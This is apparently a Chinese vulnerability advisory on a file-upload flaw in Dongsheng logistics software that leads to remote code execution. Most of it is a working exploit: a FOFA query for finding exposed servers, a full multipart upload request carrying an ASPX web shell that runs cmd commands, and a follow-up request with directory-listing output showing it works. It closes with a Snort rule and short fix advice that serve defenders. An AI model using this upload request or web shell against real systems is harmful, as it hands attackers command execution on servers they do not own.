

东胜物流软件 Upload 文件上传致RCE漏洞

东胜物流软件 Upload 文件上传致RCE漏洞，攻击者可通过上传恶意文件导致服务器被控制。

影响版本

东胜物流软件

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="东胜物流软件-物流软件"

POC/EXP：

```

POST /SoftMng/FileInputHandler/Upload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryTqkdY1lCvbpwmown

-----WebKitFormBoundaryKljzbg49Mq4ggLz
Content-Disposition: form-data; name="file"; filename="rce.aspx"
Content-Type: application/octet-stream

<%@ Page Language="Jscript" validateRequest="false" %><%var c=new
System.Diagnostics.ProcessStartInfo("cmd");var e=new
System.Diagnostics.Process();var
out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.Re
directStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments=
"/c " +
Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();R
esponse.Write(out.ReadToEnd() +
EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
-----WebKitFormBoundaryKljzbg49Mq4ggLz--

```

Request

数据扫描

美化

HEX

热加载

构造请求

58 bytes

美化

HEX

编码

请输入定位响应

```

1 POST /SoftMng/FileInputHandler/Upload HTTP/1.1
2 Host : 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
4 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTqkdY1lCvbpwmown
5
6 -----WebKitFormBoundaryKljzbg49Mq4ggLz
7 Content-Disposition: form-data; name="file"; filename="rce.aspx"
8 Content-Type: application/octet-stream
9
10 <%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.
11 ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,
12 EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.
13 RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+Request.Item["cmd"];e.Start();out=e.
14 StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());System.
15 IO.File.Delete(Request.PhysicalPath);Response.End();%>
16 -----WebKitFormBoundaryKljzbg49Mq4ggLz--

```

```

1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: application/json; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 Set-Cookie: ASP.NET_SessionId=f4sarys4lmo8sw3dkgjy1x3; path=/; HttpOnly; SameSite=Strict
6 X-AspNetMvc-Version: 2.0
7 X-AspNet-Version: 4.0.30319
8 X-Powered-By: ASP.NET
9 Date: Wed, 09 Jul 2025 04:06:35 GMT
10 Content-Length: 101
11
12 {
13   "success": true,
14   "data": ["/../UploadFiles/Fileupload/202507\\20250709120636196_475.aspx"]
15 }
16

```

Request

数据扫描

美化

HEX

热加载

构造请求

4407bytes / 4586ms

美化

HEX

渲染

编码

请输入定位

```

1 GET /UploadFiles/Fileupload/20250709120636196_475.aspx?cmd=dir HTTP/1.1
2 Host : 127.0.0.1

```

```

1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: text/html; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 Set-Cookie: ASP.NET_SessionId=b0ymk0r1d0q315fhwzek1b4n; path=/;
6 X-AspNet-Version: 4.0.30319
7 X-Powered-By: ASP.NET
8 Date: Wed, 09 Jul 2025 04:07:39 GMT
9 Content-Length: 4407
10
11 驱动器 C: 中的卷没有标签。
12 卷的序列号是 E6FD-8907
13
14 C:\Windows\SysWOW64\inetssrv 的目录
15
16 2024/09/24 08:14 <DIR>
17 2025/01/26 09:04 <DIR>
18 2024/07/05 15:10 110,592 appcmd.exe
19 2021/05/08 16:16 3,940 appcmd.xml
20 2024/07/05 15:10 61,440 apphostvcc.dll
21 2024/07/05 15:10 367,616 appobj.dll
22 2024/07/05 15:13 404,992 asp.dll
23 2024/07/05 15:13 22,196 asp.mof
24 2024/07/05 15:10 117,760 aspNetca.exe
25 2024/07/05 15:13 23,040 asptlb.tlb
26 2024/07/05 15:10 32,256 authbas.dll
27 2024/07/05 15:10 33,792 authbas.dll
28 2024/07/05 15:10 24,064 authcert.dll
29 2024/07/05 15:10 40,448 authmap.dll
30 2024/07/05 15:10 35,840 authmd5.dll
31 2024/07/05 15:10 47,616 authsspi.dll

```

snort规则:

```

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Dongsheng Logistics - ASPX Upload RCE via FileInputHandler";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/SoftMng/FileInputHandler/Upload"; http_uri;
  content:"multipart/form-data"; http_header;
  content:"filename="; http_client_body;

```

```
pcre:"/filename=['\""]['\"']*\.aspx['\"']/i";
content:"<%@ Page Language=\"Jscript\" validateRequest=\"false\" %>";
http_client_body;
content:"System.Diagnostics.Process"; http_client_body;
metadata:service http;
classtype:web-application-attack;
sid:1000281;
rev:1;
priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。